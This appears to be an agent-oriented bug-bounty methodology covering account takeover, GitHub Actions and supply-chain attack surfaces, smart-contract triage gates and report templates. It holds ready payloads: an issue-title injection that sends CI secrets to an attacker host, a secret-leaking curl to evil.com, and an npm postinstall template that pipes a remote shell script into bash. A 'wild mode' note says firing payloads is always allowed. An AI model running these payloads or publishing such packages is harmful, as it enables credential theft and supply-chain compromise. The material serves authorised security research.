## ATO — Account Takeover (Complete Taxonomy)

### Path 1: Password Reset Poisoning (Host Header Injection)
```bash
POST /forgot-password
Host: attacker.com
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX → ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
```

### Path 2: Reset Token in Referrer Leak
After clicking reset link, if page loads external resources → token in Referer header to external domain.

### Path 3: Predictable / Weak Reset Tokens
If token < 16 hex chars or numeric only → brute-forceable.

### Path 4: Token Not Expiring / Reuse
Request token → wait 2 hours → use it → still works?

### Path 5: Email Change Without Re-Authentication
```bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required → attacker changes email → locks out victim
```

### Path 6: OAuth Account Linking Abuse
Can you link an OAuth account from a different email to an existing account?

### Path 7: Session Fixation
GET /login → note Set-Cookie session=XYZ → Log in → does session ID change? If not = fixation.

### Path 8: Email Confirmation Bypass → SSO Takeover (H100 — Shopify #791775, #796808, #910300)

This exact pattern was reported 3 times against Shopify. The fix was incomplete each time.

**Attack flow:**

1. Create trial account with your-controlled email (attacker@test.com)
2. Go to profile → change email to victim@company.com
3. Shopify sends confirmation link to YOUR email (not victim's)
   - Bug: confirmation goes to the "current" email, not the "new" email
4. Click confirmation link → your account now has victim's email confirmed
5. Use Shopify SSO: your account = victim's email across all stores
6. Set master password via SSO → take over all stores using that email
```

**How to test this on any platform:**
- [ ] Create account with email A
- [ ] Change email to email B (victim)
- [ ] Where does confirmation link go? A or B?
- [ ] If it goes to A → email confirmation bypass
- [ ] Check if SSO/OAuth links accounts by email
- [ ] Can you set password for accounts that used OAuth-only login?

### Path 9: OAuth Account Linking Abuse (H100 — Uber #202781)

**Attack flow:**
```
1. Attacker initiates OAuth flow with victim's email
2. OAuth provider sends code to victim (if they have access)
3. OR: Attacker already has OAuth account linked to victim's email
4. Exchange code for token → link to attacker's primary account
5. Now attacker has victim's OAuth data on their account
```

```

## CI/CD Pipeline — GitHub Actions Security

### Recon: Finding Workflow Files
```bash
find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint:
sisakulint scan .github/workflows/
```

### Category 1: Code Injection & Expression Safety (CICD-SEC-04)
**Root cause**: Untrusted input (`github.event.issue.title`, `github.event.pull_request.body`, branch names, commit messages) interpolated into `run:` blocks via `${{ }}` expressions.

**Taint sources** (attacker-controlled):
```
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.commits.*.message / .author.name
github.event.head_commit.message
github.head_ref
```

- [ ] **Expression injection** — `${{ github.event.issue.title }}` in `run:` block = RCE
- [ ] **Environment variable injection** — untrusted input → `$GITHUB_ENV`
- [ ] **PATH injection** — untrusted input → `$GITHUB_PATH` = arbitrary binary execution
- [ ] **Argument injection** — untrusted input as CLI argument (e.g., `docker run ${{ ... }}`)
- [ ] **Request forgery (SSRF)** — attacker-controlled URL in `curl`/`wget` within workflow

### Category 2: Pipeline Poisoning & Untrusted Checkout
- [ ] **Untrusted checkout** — `actions/checkout` on `pull_request_target` without explicit safe ref
- [ ] **TOCTOU** — label-gated approval + mutable ref
- [ ] **Reusable workflow taint** — `secrets: inherit` passes all secrets to called workflow
- [ ] **Cache poisoning** — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
- [ ] **Artifact poisoning** — `actions/download-artifact` from untrusted `workflow_run` without validation
- [ ] **ArtiPACKED** — `persist-credentials: true` (default) leaks `.git/config` credentials in uploaded artifacts

### Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
- [ ] **Unpinned actions** — `uses: actions/checkout@v4` (mutable tag) instead of SHA pin
- [ ] **Impostor commit** — fork network allows pushing commits that appear to belong to upstream
- [ ] **Ref confusion** — ambiguous tag/branch names exploited
- [ ] **Known vulnerable actions** — check against GHSA database

### Category 4: Credential & Secret Protection
- [ ] **Secret exfiltration** — `curl https://evil.com/${{ secrets.TOKEN }}` in workflow
- [ ] **Secrets in artifacts** — uploaded artifacts contain `.env`, credentials
- [ ] **Unmasked secrets** — `fromJson()` derived values bypass GitHub's automatic masking
- [ ] **Hardcoded credentials** — API keys, passwords directly in workflow YAML

### Category 5: Triggers & Access Control (CICD-SEC-01)
- [ ] **Dangerous triggers without mitigation** — `pull_request_target` or `workflow_run` with no `permissions: {}`
- [ ] **Label-based approval bypass** — `if: contains(github.event.pull_request.labels.*.name, 'approved')` is spoofable
- [ ] **Excessive GITHUB_TOKEN permissions** — `permissions: write-all` when only `contents: read` needed
- [ ] **Self-hosted runners in public repos** — untrusted PRs execute on org infrastructure

### Category 6: AI Agent Security (2025+)
- [ ] **Unrestricted AI trigger** — `allowed_non_write_users: "*"`
- [ ] **Excessive tool grants** — AI agent given Bash/Write/Edit tools in untrusted trigger context
- [ ] **Prompt injection via workflow context** — event data interpolated into AI agent prompt

### Expression Injection PoC Template

```bash
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
```

### Real-World GHSAs (Proven Payouts)

| GHSA | Action | Bug Class | Severity |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |

| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |

### CI/CD A→B Chains
```
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
```

## Supply Chain Hunting (H100 — PayPal #925585 $30K, LY Corp #1043385 $11.5K)

npm/Gem/PyPI supply chain attacks paid $11-30K in the Top 100.

### How to Find Vulnerable Targets

```bash
# 1. Find target's package dependencies
# Check package.json, Gemfile, requirements.txt, go.mod in public repos
gh api -X GET "search/code?q=org:TARGET+filename:package.json" --jq '.items[].repository.full_name' | sort -u

# 2. Extract package names
cat package.json | jq -r '.dependencies | keys[]' 2>/dev/null
cat package.json | jq -r '.devDependencies | keys[]' 2>/dev/null

# 3. Check if packages exist on public registry
for pkg in $(cat package.json | jq -r '.dependencies | keys[]'); do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  echo "$pkg: $status"
done

# 4. If 404 → package name is available → you can register it
npm publish  # with malicious postinstall script
```

### Malicious Package Template

```json
// package.json
{
  "name": "target-internal-package-name",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl https://attacker.com/shell.sh | bash"
  }
}
```

### Also Check:
- **Ruby gems:** `gem search TARGET --remote` — check for unpublished internal gem names
- **Python packages:** `pip search TARGET` or check requirements.txt
- **Go modules:** Check go.mod for private module paths
- **Docker base images:** Check if target publishes to Docker Hub with stale base images
- **GitHub Actions:** Check if target uses unpinned actions (mutable tags → impostor commits)

## Platform-Hosted Product Hunting (PHP) — Cloud / VM / Sandbox Targets

When the target is a cloud provider, VM host, serverless platform, or sandboxed execution environment (Vercel, AWS, Firecracker, Fly.io, Modal), standard web checklists miss the architecture-level attack surface. Apply this module:

### Phase 0 — Docs Extraction (The Firewall & Limitation Matrix)

Documentation for platform products details both official semantics AND **documented limitations** (domain fronting, subnet bypass, DNS exfil, per-sandbox CA, live update mechanisms). Bugs live in the "limitations" and "unsupported" sections.
- **Rule:** Fetch ALL official documentation pages → extract endpoint lists + documented behaviors + documented limitations → **the limitations ARE your test matrix**.

### SDK-as-SPEC — Parse the Client Package

Web site JS bundles are minified and incomplete. Official client packages (npm, PyPI, Crates.io) expose the exact API map, request schemas, and internal validation rules.
- **Rule:** Extract and parse official SDK packages (`node_modules/@vendor/package/dist/`). Search for endpoint maps, Zod/Joi/Yup validators, internal headers, and undocumented RPC calls.

### Local Lab Replication (Open-Source Component Fuzzing)

Remote endpoints often have network rate limits or protocol handshakes that limit fuzzing efficiency.
- **Rule:** When the target uses open-source underlying components (e.g., Firecracker, WASM runtime, proxy daemons), extract the source, build locally, and fuzz with stateful handshakes and AddressSanitizer (ASan) / MemorySanitizer (MSan). Local stateful fuzzing reaches code paths remote fuzzers never hit.

### Protocol-Level Testing Over SDK Abstraction

High-level SDKs abstract away protocol subtleties (h2c/HPACK framing, protobuf field ordering, gRPC trailers, END_STREAM flags).
- **Rule:** Sniff raw network traffic (`AF_PACKET` / `tcpdump`) → decode frames → reimplement raw requests. Manipulating low-level protocol flags directly often bypasses SDK-enforced restrictions.

### Feature-Abuse SSRF (Network I/O Features)

Platform-hosted products frequently offer features that execute network I/O on behalf of users (URL previews, webhook dispatchers, proxy endpoints, image importers).
- **Rule:** Abuse URL validators and redirect behaviors. Test internal IP ranges (`169.254.169.254`, `127.0.0.1`, cloud metadata), protocol downgrades (`http` to `gopher`/`file`), and DNS rebinding against Host-side fetchers.

### Raw-Device Forensics (VM / Sandbox Recon)

In sandboxed or virtualized environments where you achieve local code execution or root inside a guest container:
- **Rule:** Scan raw block devices (`/dev/vda`, `/dev/sda`, `/dev/mem`) for pooled image residue, host memory remnants, prior tenant data, and uncleaned secrets.

---

# PHASE 4: VALIDATE

## SMART CONTRACT REASONING — 5-LAYER PRIORITY (applies to ALL contract hunting, before any gate)

**First: map the protocol and write `invariants.md` (Rule 1).** Before any layer below, list the protocol's solvency/supply/permission/price invariants and run the economic loop — `MAP → INVARIANT → IDENTIFY ASSUMPTION → FIND CONTROLLED VARIABLE → MUTATE → OBSERVE → CHECK INVARIANT → CHAIN → CALCULATE VALUE AT RISK` (full track: `references/methodology.md` — Smart-Contract Track). Every finding names the invariant it breaks and the value it puts at risk.

The criticals on audited code are rarely in the code. Rank effort by where bugs actually live:

**Layer 1 — Deployment config, not contract code (biggest source of criticals on audited code).** The invariant is enforced in Solidity but violated at deploy time:
- Rate provider / oracle pointed at a manipulatable spot price (Curve pool, short-window Uniswap TWAP, Balancer pool) instead of Chainlink → exchange rate manipulation → share-price theft
- Decimal mismatch: rate provider returns 6 decimals where the accountant assumes 18 (10^12 error). Scaling helpers (e.g., `GenericRateProviderWithDecimalScaling`) only scale if `inputDecimals`/`outputDecimals` are set correctly at deploy
- Ownership not actually renounced (`transferOwnership(address(0))` skipped), or `STRATEGIST_ROLE` held by a hot EOA
- Two vaults sharing one accountant; a `manageRoot` computed against a stale decoder
- **You CANNOT see this from source. It needs the live addresses + mainnet RPC.** When the code reads clean, request the deploy addresses and fork the chain — that IS the attack surface.

**Layer 2 — Fork mainnet and run invariant fuzzers.** Criticals are found by simulating the state machine against live state (Foundry fork tests + `invariant_` fuzzing), not by more reading. Core invariants:
- `totalAssets() == Σ(balances valued via getRate())` — break this → mint/drain
- Share price monotonicity across deposit/withdraw/vest/postLoss sequences
- First-depositor / donation inflation: `mulDivDown(ONE_SHARE, getRate())`; a donation or `claimFees` timing that shifts `getRate()` between enter and exit = classic repeatable-loss critical

**Layer 3 — The integration layer, not the target.** The vault holds real tokens with real quirks; a decoder correct for the "canonical" ABI is wrong for the deployed variant:
- stETH / rebasing / fee-on-transfer / 18-vs-6 tokens where a balance read or transfer assumption breaks
- A token that's a proxy with different `decimals()`, or a token with a `beforeTokenTransfer` hook that re-enters
- Read-only reentrancy via `getRate()` reading an external contract whose state can be manipulated in the same tx

**Layer 4 — Chase new deployments and upgrades.** Protocols add tellers/decoders/adapters continuously; the newly added, unaudited contract is where the critical lives. A hardened adapter (fee/extension bounds added post-finding) means the NEXT one won't be. Watch the deployer address for fresh contracts and audit them before the program updates scope.

**Layer 5 — Chain a medium into a critical.** A single small bug is a Medium; the same bug made repeatable is a Critical. A 1-wei accounting drift in `payoutSplits` (balance - 1) or a rounding direction in `mulDivDown` compounded over N deposits becomes an extractable loss.

**The uncomfortable truth:** if the audited code is sound, the critical is at Layer 1 (config/oracle targets) or Layer 2 (fork-fuzzing `getRate()` against a manipulatable feed) — both need live chain access, not more file reads. When file reads run dry: request deployment addresses + RPC, fork, and fuzz. That's not a limitation; that's the attack surface.

## The 7-Question Gate & Red Team Triage Engine (Run BEFORE Writing ANY Report)

> **HUNT vs REPORT (wild mode):** These gates are the LAST step of the pipeline — they filter what gets SUBMITTED. They are never run during the hunt, never kill a probe, and never delete a lead. A finding that fails a gate is demoted to a LEAD with its payload and its chain partners, and retested on the next pass. **Firing a payload is always allowed; the gates only decide what a human triager reads.**
>
> **5-STEP METHODOLOGY SPINE:** `Program policy → Scope → Security boundary → Demonstrated impact → Severity`
>
> **RED TEAM TRIAGE ENGINE:** Before drafting a report, apply `references/supervisor.md` — BountyForge attacks its own finding across **10 Red Team Attack Questions**:
> 1. *Scope:* Is the exact asset/function in scope?
> 2. *Policy:* Is this vulnerability class explicitly excluded?
> 3. *Precondition:* What does the attacker actually need?
> 4. *Authentication:* What credential/authorization is supposed to exist?
> 5. *Path A:* What is the legitimate intended flow?
> 6. *Path B:* What unauthorized flow was demonstrated?
> 7. *Boundary:* What security boundary is crossed?
> 8. *Impact:* What concrete capability does the attacker gain?
> 9. *Alternative explanation:* What is the strongest reasonable triager rebuttal?
> 10. *Evidence:* What observation defeats that rebuttal?
>
> **THE RED TEAM RULE:** If the finding cannot survive the strongest plausible triager objection, DO NOT promote it to a report.
>
> **DEMONSTRATED VS INFERRED RULE:** Explicitly categorize every claim as **Demonstrated** (verified via executed PoC), **Inferred** (suggested by code/arch but unexecuted), or **Unproven** (speculative). Never allow report drift from a demonstrated primitive to an unproven claim (e.g. guest execution primitive drifting into unproven host escape).

All 7 must be YES. Any NO → STOP. See also `references/supervisor.md` for detailed triage flow and `references/al-mizaan-gates.md` for deep validation methodology.

### Q1: Can I exploit this RIGHT NOW with a real PoC?
Write the exact HTTP request or test case. If you cannot produce a working trigger → KILL IT.

### Q2: Does it affect a REAL user who took NO unusual actions?
No "the user would need to..." with 5 preconditions. Victim did nothing special.

### Q3: Is the impact concrete (money, PII, ATO, RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact. Quantify the harm.

### Q4: Is this in scope per the program policy?
Check the exact domain/endpoint against the program's scope page.

### Q5: Did I check Hacktivity/changelog for duplicates?
Search the program's disclosed reports and recent changelog entries.

### Q6: Is this NOT on the "always rejected" list?
Check the list below. If it's there and you can't chain it → KILL IT.

### Q7: Would a triager reading this say "yes, that's a real bug"?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

---

### ⛓️ 7-Question Gate — Smart Contract Track (USE FOR ALL CONTRACT FINDINGS)

The web2 gate kills good contract bugs — "real user", "PII/ATO/RCE" don't translate to a DeFi protocol. For `--solidity` / `--move` / `--solana` findings, run THIS gate instead. All 7 must be YES. If a finding passes, the Al-Mizaan deep gates below are optional, not required.

### Q1 (SC): Can I exploit this RIGHT NOW with a working PoC?
Write a running Foundry/Hardhat test (or fork script) that triggers the path and asserts the damage. Static code observation, "this line looks wrong", or unexecuted speculation → KILL IT. PoC must execute against a fork of the deployed chain or a local EVM node.

**Counter-pattern (Gate 1):** "It's documented" / "it matches upstream design" is NOT an automatic refutation. Rejecting on that requires actually having read the upstream source — citing another protocol's behavior without seeing its code (e.g., "Camelot does the same with xGRAIL") is a miss, not a defense. Docs describe intent; deployed bytecode is reality. If you reject on documentation, show the upstream code doing the same thing.

### Q2 (SC): Is the triggerer someone the protocol does NOT intend to be the actor?
Ask: "Who does the protocol DESIGN to call this?" If only `onlyOwner`/governance/`onlyRole` can trigger it and it's working as designed → intended, KILL. If ANY other party (user, third-party contract, griefer, LP depositor) can reach the vulnerable path — even with clever conditions — it's valid. Trusted-actor trigger WITH a governance bypass still passes.

**Counter-pattern (Gate 2):** "Requires an oracle misreport" is NOT an auto-kill. Before rejecting, check for an honest-path route to the same vulnerable state (e.g., the Lido `onchainTotalValueOnRefSlot` case — the state was reachable with HONEST oracle data, making the "oracle manipulation" precondition unnecessary). If an honest path exists, the finding stands without the oracle caveat.

**Counter-pattern (Gate 3):** "Requires the exiting holder's cooperation" is NOT an auto-kill when the state transition is public and observable on-chain (e.g., an xSilo `totalSupply → 0` after exit). The attacker can front-run the public transition — that makes it attacker-triggerable, not victim-cooperative. Precondition = a transaction the victim will unavoidably submit, not a deliberate action on their part.

### Q3 (SC): Is impact concrete in protocol-native terms?
"Technically possible" is not impact. Quantify: exact funds stolen/locked (wei, token amounts, USD), accounting desync amount, invariant breach (name the invariant verbatim from the code/docs), permanent DoS of someone's funds, oracle manipulation with real profit margin. No number = no finding.

**Counter-pattern (Gate 4):** Split self-harm into actor-scoped legs. An attack that looks like "self-harm" often has SEPARATE victims per leg: the exiter's penalty loss is evaluated as its own leg, and the front-runner's captured residual is another leg — one leg being self-inflicted does NOT kill the other leg's valid impact. Name the victim for every leg before rejecting as "self-harm."

### Q4 (SC): Is this in scope per the program policy?
Deployed contract on the listed chain, and the exact version verified on-chain (etherscan/solscan match the audited source). Testnets, old unpinned versions, `interfaces/`, `lib/`, `mocks/`, `*.t.sol`, `*Mock*` → KILL.

### Q5 (SC): Did I check known-issue history for duplicates?
Search: Immunefi/Sherlock/Code4rena contest history for this protocol, ALL prior audit reports (in the repo's `audits/` or docs), `CHANGELOG.md`, README "known issues" sections, and previous bounty submissions. Duplicate → KILL.

### Q6 (SC): Is this NOT on the contract always-rejected list?
- Theoretical / no working PoC → KILL
- Trusted-actor-only with no bypass → KILL
- View/read-only fn returning wrong value with no downstream effect → KILL
- Admin backdoor behaving as documented → KILL
- MEV-dependence the protocol explicitly accepts (e.g., sandwichable AMMs) → KILL unless the profit exceeds documented slippage bounds
- Sub-$1 dust profit that breaks no invariant → KILL (unless part of a bigger chain)

### Q7 (SC): Would a DeFi-literate judge say "yes, that's a real bug"?
Read it as an Immunefi/Sherlock judge: quote the invariant, trace the exact exploitable call path, show the PoC result. If the judge could argue "edge case, working as intended" and you can't pre-kill that argument → KILL.

**Smart contract quick-kill rules (before you even write the report):**
- No `forge test` PoC against a fork → DEMOTE to lead, not a finding
- Trigger only via `onlyOwner`/governance → KILL unless you have a governance bypass
- Code in `lib/`, `interfaces/`, `mocks/`, `test/` → KILL (scanner noise)
- "Docs say X but code does Y" → code is authoritative, report the code behavior
- Compiler version is old but function unreachable → KILL (reachability before severity)
- **Trigger proven but impact untraced → OPEN LEAD, not KILL.** "No attacker profit" refutes nothing — an accounting desync that strands or misdirects account value is account-owner loss, a Medium floor on Immunefi on its own. Trace the harm before any severity call (Two-Question Rule).

**Severity rule — "transient DoS" is only valid if it self-resolves:**
Never call something a "transient DoS" without confirming the recovery path actually exists and executes on its own (a timelock that expires, a keeper that is guaranteed to run, a function any user can call to restore). If recovery depends on an action a specific party may never take, or on conditions you have not verified, score it as permanent DoS (or drop it if no DoS is provable). Assumed recovery = inflated severity.

### Deep Validation: Al-Mizaan v3 Gates (for borderline or complex findings) ⚡ On-Demand

The 7 gates below are self-contained. **Do NOT load `references/al-mizaan-gates.md` unless you need the full methodology with web/API translations and Sherlock contest evidence.** Use this inline version for 95% of cases.

When a finding passes the 7-Question Gate but feels borderline, involves complex protocol logic, multi-step attack chains, or smart contract context:

1. **Code Reading** — Does the code actually execute the vulnerable path? (Not docs, not comments)
2. **Reachability Chain** — Map the exact call path from external entry point to vulnerable operation
3. **Threat Model** — Who can trigger it? Trusted actor only with no bypass? → ELIMINATE. **Counter-patterns:** "requires oracle misreport" ≠ auto-kill — check for an honest-path route to the same state (Lido `onchainTotalValueOnRefSlot`). "Requires victim cooperation" ≠ auto-kill — a public on-chain state transition (e.g., xSilo `totalSupply → 0`) is front-runnable and therefore attacker-triggerable.
4. **Invariant Breach** — What protocol security property is violated?
5. **Protocol Intent** — Would the designers call this a bug or a feature? **Counter-pattern:** "documented" / "matches upstream design" refutations require actually reading the upstream source — citing another protocol (e.g., "Camelot does the same with xGRAIL") without seeing its code is a miss, not a defense. Verify upstream bytecode before rejecting.
6. **Impact** — Quantify concrete harm in native terms (exact amount, not "could be significant"). **Counter-pattern:** split self-harm into actor-scoped legs — the exiter's penalty loss and a front-runner's captured residual are SEPARATE victims; one self-inflicted leg does not kill the other leg's impact. **Severity:** "transient DoS" requires a confirmed self-resolving recovery path, else score as permanent DoS.
7. **Formal Proof** — Working PoC that executes against a realistic environment

**Quick kill rules (from Al-Mizaan + Slither benchmark lesson):**
- Trusted-actor-only trigger with no governance bypass → ELIMINATE
- Finding in `lib/`, `interfaces/`, `mocks/`, `test/` → ELIMINATE (89% of automated scanner "Highs" are out-of-scope dependency noise)
- No working PoC against realistic environment → DEMOTE to LEAD
- "Documentation says X but code does Y" → code is authoritative, report the code behavior

**Load the full `references/al-mizaan-gates.md` only when:**
- The finding involves complex DeFi protocol economics
- You need the Sherlock contest acceptance-rate data to defend severity
- A triager is pushing back and you need the formal methodology citation

[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
```

## CVSS 3.1 Quick Guide

| Score | Severity | Typical Bug |
|-------|----------|-------------|
| 0-3.9 | Low | Info disclosure (non-sensitive) |
| 4-6.9 | Medium | IDOR (read PII), Stored XSS (low impact) |
| 7-8.9 | High | IDOR (write/delete), SQLi, Race (double spend) |
| 9-10 | Critical | Auth bypass → admin, SSRF (cloud metadata), RCE |

# PHASE 5: REPORT

## Canonical Defensive-Proof Report Format

Every report MUST follow this exact structure to preempt triager rejection. See also `references/report-formatting.md`.

```
# <Target> Vulnerability Report
## <Descriptive, Non-Overclaimed Vulnerability Name>

---

## Scope & Engagement Gate
- **Engagement Context:** <BBP | VDP | Direct Vendor Disclosure | Internal Red Team / Pentest>
- **Target Asset:** <Exact domain, IP, repo, contract, or binary>
- **In Scope:** <Yes / N/A (Independent Research)>
- **Explicit Exclusions:** <Check program/vendor policy for excluded assets or classes; None if self-hosted/pentest>
- **Governing Rule / Policy:** <Quote program policy clause, security advisory terms, or Audit Rules of Engagement>
- **Impact & Boundary Threshold:** <Demonstrated security boundary crossed or business risk proven>
- **Evidence Supporting Eligibility:** <Concrete demonstrated observations proving impact>

**Severity:** <Critical | High | Medium | Low>
**Vulnerability Type:** <Primary CWE / Class>
**Affected Component:** <Component / Endpoint / Daemon Listener> (`<path/port/URL>`)
---

## Summary
<3–5 sentences. Covers: what the vulnerability is, where it lives, how it is triggered, and what an attacker gains. Explicitly state what is NOT claimed if scope/severity is sensitive. No hedging. Present tense.>

---

## Control Plane vs Unauthenticated Listener Architecture (Path A vs Path B)
- **Path A (Legitimate Intended Flow):** Requires valid authentication credentials (e.g. Bearer token, API key, OAuth state).
- **Path B (Unauthorized Flow Demonstrated):** Accepts equivalent operations directly without presenting any credential or authorization token.
- **Security Boundary Crossed:** <Explicit description of the authorization barrier bypassed>

---

## Absent Credential Evidence Grid
| Credential / Artifact | Present in Attack Request? | Verification Evidence |
|-----------------------|---------------------------|-----------------------|
| Authorization Header  | ❌ No | HEADERS frame contains only standard HTTP pseudo-headers |
| Bearer / API Token    | ❌ No | `/proc/self/environ` contains no TOKEN/KEY/SECRET variables |
| Session Cookie        | ❌ No | No Cookie header; cookie jar empty |
| Session File          | ❌ No | No token files in local filesystem or shared run directories |
| mTLS Certificate      | ❌ No | Connection opened over standard unauthenticated cleartext TCP / TLS |
| Capability Token      | ❌ No | No capability payload or signed request headers |

---

## Demonstrated vs. Inferred Audit Matrix
| Claim | Verification Status | Evidence / Reasoning |
|-------|--------------------|----------------------|
| <Target accepts unauthenticated request> | Demonstrated | <Executed request succeeded with zero headers> |
| <Execution context equals SDK capability> | Demonstrated | <Executed `id` returning same UID/GID as SDK> |
| <Guest isolation boundary crossed> | Demonstrated / Inferred | <Exact boundary verification> |
| <Host escape / system takeover> | Unproven | <Explicitly NOT claimed unless directly executed> |

---

## Root Cause
### 1. <Root cause label>
- <Tight bullet — one clause each, referencing exact code file / line / port>
- <No prose paragraphs>

---

## Steps to Reproduce
1. <Step 1: Context / setup>
2. <Step 2: Copy-pasteable curl or script>
3. <Step 3: Execute and observe response>

**Expected (if secure):** <What secure behavior / auth check should happen>
**Actual:** <What the vulnerable endpoint does>

---

## Proof of Concept (PoC)
### Step 1: <Short action label>
<sentence describing what this step demonstrates.>
[Screenshot or code block]

---

## Security Impact
- **Demonstrated Capability:** An attacker with <access level> can <exact action> without credentials.
- **Program Policy Threshold:** Meets program policy requirement by demonstrating <policy eligibility evidence>.

---

## Recommended Fix
1. <Actionable fix step 1 — e.g., enforce authentication on listener or bind to isolated interface>
2. <Actionable fix step 2>
```

### Format Rules (non-negotiable)
- **Zero fluff.** Every sentence must carry technical weight.
- **No hedging.** Never write "may", "could potentially", "it is possible that". If the code allows it, state it as fact.
- **Present tense throughout.**
- **H1** for the report title. **H2** for all top-level sections.
- **`---`** as divider after metadata strip and between major sections.
- No tables. No collapsible sections. No emoji.
- PoC steps: numbered, one-line action header (H3), one sentence of context, then screenshot or code block.

### Platform Adaptations

| Platform | Additional requirement |
|----------|----------------------|
| `h1` | Append CVSS 3.1 vector string as code block if `--cvss` |
| `immunefi` | Add **Asset Type**, **Blockchain/Tech Stack**, **Vulnerability Category** |
| `bugcrowd` | Use Bugcrowd severity labels (P1/P2/P3/P4) alongside plain label |
| `intigriti` | Add **Impact** tag field to metadata strip |

## Report Title Formula
```
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
```
**Good:** `IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data`
**Bad:** `IDOR vulnerability found`

## Impact Statement Formula
```
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
```

## Human Tone Rules (Avoid AI-Sounding Writing)
- Start sentences with the impact, not the vulnerability name
- Write like you're explaining to a smart developer, not a textbook
- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
- One concrete example beats three abstract sentences
- No em dashes, no "comprehensive/leverage/seamless/ensure"

## The 60-Second Pre-Submit Checklist
```
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
```

## Severity Escalation Language
| Program Says | You Counter With |
|---|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number — I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact — attacker can steal [X]" |

---

## Confidence Scoring

Start at **100**, deduct:
- Partial attack path: **-20**
- Bounded, non-compounding impact: **-15**
- Requires specific (but achievable) state: **-10**
- Requires user interaction: **-10**
- Fix already partially mitigates: **-10**

Confidence ≥ 80 → full description + PoC + fix.
Confidence 60–79 → description + partial PoC.
Below 60 → LEAD only (no fix, no PoC).

---

## ALWAYS REJECTED — Never Submit These

> **Wild-mode note:** this list kills standalone SUBMISSIONS, not hunting avenues. Every entry below has a chain partner (see "Conditionally Valid With Chain" below) — if you found one, find the partner before dropping it. Open redirect alone → N/A. Open redirect → OAuth code theft → ATO. The list is the chain menu, not a stop sign.

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover, autocomplete on password fields.

## Conditionally Valid With Chain

| Low Finding | + Chain | = Valid Bug |
|------------|---------|-------------|

| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |

---

## Safe Patterns (Do Not Flag)

**Smart contracts:** `unchecked` in Solidity 0.8+ with correct reasoning, explicit narrowing casts in 0.8+, MINIMUM_LIQUIDITY burn on first deposit, `SafeERC20`, `nonReentrant` (flag only cross-contract), two-step admin transfer, consistent protocol-favoring rounding without compounding.

**Web/API:** Rate limiting that genuinely prevents exploitation, CSRF tokens that are properly validated, self-XSS without escalation path, logout CSRF without session fixation, non-sensitive information disclosure (stack traces in dev mode only).

